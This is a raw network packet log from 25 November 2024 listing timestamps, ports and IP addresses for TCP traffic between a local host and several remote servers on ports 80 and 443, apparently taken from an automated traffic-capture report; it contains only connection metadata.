Nov 25, 2024 12:08:52.845798016 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.845859051 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.845896006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.845989943 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.846683025 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.846769094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.846790075 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.846829891 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.847490072 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.847537041 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.847584009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.847635031 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.848356009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.848408937 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.848480940 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.848525047 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.849241018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.849308014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.849355936 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.850215912 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.850344896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.850388050 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.851119041 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.851178885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.851342916 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.851454020 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.852188110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.852238894 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.852310896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.852421999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.853111029 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.853158951 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.853234053 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.853394985 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.854120970 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.854167938 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.854176998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.854216099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.854871035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:52.854927063 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:52.993519068 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:52.993813992 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:52.993844032 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:52.993860960 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:52.994005919 CET	49807	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:52.994034052 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:52.994378090 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:52.994395971 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:52.994729042 CET	49807	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:52.994793892 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:52.994919062 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:52.995006084 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:52.995124102 CET	49807	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:52.995126009 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:53.010883093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.010996103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.011063099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.011131048 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.011149883 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.011223078 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.011224985 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.011286974 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.011706114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.011754990 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.011759996 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.011806011 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.012284040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.012345076 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.012418032 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.012482882 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.013128042 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.013195038 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.013226986 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.013354063 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.014014959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.014066935 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.014128923 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.014966965 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.015081882 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.015098095 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.015142918 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.015773058 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.015876055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.015885115 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.015954971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.016622066 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.016737938 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.016763926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.016849041 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.017487049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.017554998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.017637968 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.017716885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.018348932 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.018400908 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.018481016 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.018570900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.019362926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.019465923 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.019505024 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.019551992 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.020122051 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.020196915 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.020231009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.020337105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.020977974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.021051884 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.021084070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.021183014 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.021858931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.021945000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.021982908 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.022102118 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.022773027 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.022857904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.022878885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.022912979 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.023636103 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.023689032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.023693085 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.023749113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.024590969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.024679899 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.024684906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.024736881 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.025357008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.025414944 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.025464058 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.025665998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.026243925 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.026341915 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.026364088 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.026391983 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.027159929 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.027247906 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.027257919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.027308941 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.028059959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.028125048 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.028157949 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.028383017 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.028856993 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.028929949 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.028950930 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.029073954 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.029701948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.029800892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.029877901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.030565977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.030615091 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.030740976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.030793905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.031430006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.031528950 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.031615973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.032324076 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.032367945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.032404900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.032497883 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.033183098 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.033235073 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.033305883 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.033646107 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.034087896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.034168005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.034199953 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.034235954 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.034936905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.035012960 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.035095930 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.035238981 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.036129951 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.036205053 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.036276102 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.036345005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.036827087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.036895990 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.037008047 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.037060976 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.039328098 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.039336920 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.157285929 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.276837111 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.437854052 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.437953949 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.438014984 CET	49807	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:53.439747095 CET	49807	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:53.439769983 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.441766024 CET	443	49808	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:53.442570925 CET	49808	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:53.442596912 CET	443	49808	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:53.443388939 CET	443	49808	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:53.444863081 CET	49808	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:53.444957018 CET	443	49808	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:53.446989059 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.447011948 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.447082043 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:53.447097063 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.447843075 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:53.447890997 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:53.447943926 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:53.484824896 CET	49808	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:53.605743885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.605829000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.605885983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.605964899 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.606225014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.606326103 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.606409073 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.607064962 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.607131004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.607171059 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.607234001 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.608119011 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.608232021 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.608319044 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.609021902 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.609097958 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.609107018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.609268904 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.609684944 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.609713078 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.609744072 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.609795094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.728271008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.728341103 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.728379011 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.728379011 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.728708982 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.728806019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.728884935 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.729562998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.729631901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.729670048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.729757071 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.730426073 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.730483055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.730557919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.730705023 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.731321096 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.731431961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.731478930 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.731478930 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.732228994 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.732295036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.732337952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.732467890 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.733057022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.733141899 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.733174086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.733267069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.733953953 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.734010935 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.734088898 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.734142065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.734807014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.734915972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.735070944 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.735683918 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.735743046 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.735781908 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.735853910 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.736567020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.736638069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.736661911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.736713886 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.737354040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.737406969 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.768799067 CET	443	49811	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:53.769145012 CET	49811	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:53.769155025 CET	443	49811	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:53.769615889 CET	443	49811	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:53.770018101 CET	49811	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:53.770097017 CET	443	49811	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:53.811377048 CET	49811	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:53.852559090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.852626085 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.852663040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.852771044 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.853059053 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.853112936 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.853142977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.853156090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.853219032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.853992939 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.854041100 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.854065895 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.854167938 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.854888916 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.854985952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.855088949 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.855879068 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.855957031 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.855982065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.856036901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.856789112 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.856852055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.856926918 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.857012987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.857764959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.857853889 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.857872009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.857947111 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.858587027 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.858666897 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.858772993 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.858850002 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.859782934 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.859842062 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.859869003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.859941959 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.860832930 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.860915899 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.861053944 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.861109972 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.861959934 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.862027884 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.862067938 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:53.862093925 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.862164021 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.862304926 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:53.862322092 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:53.862663984 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:53.862776041 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.862855911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.862909079 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.863023996 CET	49809	443	192.168.2.8	204.79.197.203
Nov 25, 2024 12:08:53.863087893 CET	443	49809	204.79.197.203	192.168.2.8
Nov 25, 2024 12:08:53.863663912 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.863704920 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.863713980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.863873959 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.864442110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.864536047 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.864573956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.864623070 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.865284920 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.865305901 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:53.865385056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:53.866187096 CET	80	49744	185.215.113.206	192.168.2.8
